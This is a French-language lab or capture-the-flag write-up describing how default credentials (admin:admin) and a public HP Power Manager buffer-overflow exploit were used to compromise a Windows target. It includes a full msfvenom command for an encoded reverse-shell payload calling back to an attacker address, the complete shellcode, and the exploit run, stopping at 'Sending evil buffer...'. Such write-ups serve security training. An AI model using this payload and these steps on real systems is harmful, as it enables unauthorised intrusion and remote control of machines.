Nous avons essayé admin:admin et cela fonctionne.
En explorant nous trouvons le numéro de version. ## Accès initial Nous avons trouvé également un exploit {% embed url="" %} Nous en avons essayé d'autres mais sans succès. Nous avons également testé celui-ci avec divers port mais uniquement le port 80 fonctionne. Après avoir télécharger l'exploit sur notre machine, nous avons généré un payload comme demandé avec msfvenom. ``` ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.199 LPORT=80 -f c -b "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a" -e x86/alpha_mixed [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_mixed x86/alpha_mixed succeeded with size 709 (iteration=0) x86/alpha_mixed chosen with final size 709 Payload size: 709 bytes Final size of c file: 3013 bytes unsigned char buf[] = "\x89\xe0\xda\xcd\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" "\x75\x4a\x49\x49\x6c\x4b\x58\x6f\x72\x47\x70\x45\x50\x73" "\x30\x75\x30\x6d\x59\x79\x75\x75\x61\x79\x50\x65\x34\x6c" "\x4b\x42\x70\x70\x30\x6c\x4b\x53\x62\x56\x6c\x4e\x6b\x33" "\x62\x35\x44\x4c\x4b\x64\x32\x37\x58\x56\x6f\x6f\x47\x31" "\x5a\x74\x66\x55\x61\x59\x6f\x4c\x6c\x35\x6c\x71\x71\x53" "\x4c\x74\x42\x34\x6c\x65\x70\x7a\x61\x6a\x6f\x66\x6d\x63" "\x31\x38\x47\x7a\x42\x78\x72\x62\x72\x30\x57\x4e\x6b\x71" "\x42\x74\x50\x6e\x6b\x62\x6a\x77\x4c\x6e\x6b\x32\x6c\x32" "\x31\x61\x68\x49\x73\x50\x48\x63\x31\x7a\x71\x72\x71\x4c" "\x4b\x50\x59\x67\x50\x73\x31\x4a\x73\x6e\x6b\x33\x79\x64" "\x58\x4b\x53\x55\x6a\x31\x59\x4c\x4b\x34\x74\x6c\x4b\x55" "\x51\x5a\x76\x76\x51\x69\x6f\x4e\x4c\x4a\x61\x78\x4f\x76" "\x6d\x55\x51\x69\x57\x54\x78\x49\x70\x71\x65\x5a\x56\x37" "\x73\x63\x4d\x6c\x38\x35\x6b\x31\x6d\x44\x64\x72\x55\x6d" "\x34\x76\x38\x6e\x6b\x73\x68\x51\x34\x73\x31\x6b\x63\x62" "\x46\x6c\x4b\x64\x4c\x62\x6b\x6e\x6b\x73\x68\x45\x4c\x43" "\x31\x38\x53\x4e\x6b\x33\x34\x4c\x4b\x43\x31\x4a\x70\x6c" "\x49\x30\x44\x76\x44\x67\x54\x61\x4b\x61\x4b\x51\x71\x42" "\x79\x53\x6a\x70\x51\x6b\x4f\x69\x70\x71\x4f\x33\x6f\x61" "\x4a\x6e\x6b\x64\x52\x68\x6b\x6c\x4d\x71\x4d\x62\x48\x34" "\x73\x67\x42\x77\x70\x35\x50\x61\x78\x70\x77\x61\x63\x30" "\x32\x53\x6f\x71\x44\x55\x38\x32\x6c\x51\x67\x47\x56\x63" "\x37\x39\x6f\x4b\x65\x4d\x68\x6a\x30\x35\x51\x43\x30\x65" "\x50\x76\x49\x4a\x64\x36\x34\x52\x70\x55\x38\x61\x39\x6f" "\x70\x62\x4b\x45\x50\x39\x6f\x6e\x35\x32\x70\x32\x70\x36" "\x30\x72\x70\x33\x70\x72\x70\x61\x50\x56\x30\x62\x48\x4a" "\x4a\x76\x6f\x4b\x6f\x6d\x30\x69\x6f\x5a\x75\x6e\x77\x32" "\x4a\x43\x35\x55\x38\x4f\x30\x69\x38\x74\x6d\x49\x57\x61" "\x78\x63\x32\x47\x70\x45\x50\x52\x70\x6b\x39\x4b\x56\x43" "\x5a\x62\x30\x61\x46\x73\x67\x50\x68\x6c\x59\x6d\x75\x64" "\x34\x70\x61\x6b\x4f\x78\x55\x4d\x55\x6f\x30\x30\x74\x66" "\x6c\x69\x6f\x42\x6e\x67\x78\x52\x55\x78\x6c\x33\x58\x58" "\x70\x4e\x55\x4f\x52\x71\x46\x39\x6f\x6b\x65\x63\x58\x30" "\x63\x30\x6d\x70\x64\x73\x30\x4b\x39\x5a\x43\x31\x47\x30" "\x57\x43\x67\x66\x51\x6a\x56\x62\x4a\x72\x32\x33\x69\x52" "\x76\x6d\x32\x39\x6d\x51\x76\x39\x57\x53\x74\x75\x74\x67" "\x4c\x75\x51\x56\x61\x6c\x4d\x57\x34\x34\x64\x44\x50\x48" "\x46\x65\x50\x73\x74\x71\x44\x36\x30\x33\x66\x42\x76\x71" "\x46\x43\x76\x53\x66\x30\x4e\x53\x66\x62\x76\x61\x43\x50" "\x56\x65\x38\x33\x49\x4a\x6c\x35\x6f\x4d\x56\x69\x6f\x4e" "\x35\x4c\x49\x4b\x50\x50\x4e\x62\x76\x51\x56\x59\x6f\x56" "\x50\x70\x68\x33\x38\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x4a" "\x75\x6d\x6b\x38\x70\x48\x35\x6f\x52\x62\x76\x45\x38\x79" "\x36\x4e\x75\x6d\x6d\x4f\x6d\x39\x6f\x48\x55\x45\x6c\x34" "\x46\x51\x6c\x76\x6a\x4b\x30\x49\x6b\x6b\x50\x44\x35\x47" "\x75\x6f\x4b\x77\x37\x37\x63\x42\x52\x42\x4f\x43\x5a\x73" "\x30\x32\x73\x39\x6f\x59\x45\x41\x41"; ``` Nous avons remplacé à l'endroit demandé (en dessous de n00b) puis avons exécuté le script. ``` ┌──(kali㉿kali)-[~] └─$ python2 exploit.py 192.168.235.45 HP Power Manager Administration Universal Buffer Overflow Exploit ryujin __A-T__ offensive-security.com [+] Sending evil buffer...
